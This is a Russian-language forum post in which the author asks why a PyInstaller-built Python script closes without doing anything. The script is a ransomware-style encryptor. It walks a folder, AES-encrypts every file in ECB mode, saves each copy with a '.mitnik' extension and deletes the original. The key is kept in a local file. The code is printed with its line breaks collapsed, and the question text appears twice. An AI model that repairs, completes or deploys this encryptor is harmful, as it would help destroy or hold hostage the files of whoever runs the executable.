Всем привет товарищи. Нужна ваша помощь в анализе кода на Python на ошибки. После написания данного кода
Скомпилировал при помощи команды
После запуска исполняемого файла для проверки открывается консольное окно на пару секунд, и сразу же закрывается. Проверяю - код ничего не выполнил. В чём может быть проблема?
import osfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom Crypto.Random import get_random_bytesdef encrypt_file(file_path, key): cipher = AES.new(key, AES.MODE_ECB) with open(file_path, 'rb') as file: plaintext = file.read() ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) with open(file_path + '.mitnik', 'wb') as file: file.write(ciphertext) os.remove(file_path)folder_path = 'D:\\Primer'key_path = 'D:\\Keys\\key.txt'key = get_random_bytes(32)if not os.path.exists(key_path): os.makedirs(os.path.dirname(key_path)) with open(key_path, 'wb') as file: file.write(key)for root, dirs, files in os.walk(folder_path): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path, key)print('Encryption completed!')
Скомпилировал при помощи команды
pyinstaller --onefile имя_файла.py
После запуска исполняемого файла для проверки открывается консольное окно на пару секунд, и сразу же закрывается. Проверяю - код ничего не выполнил. В чём может быть проблема?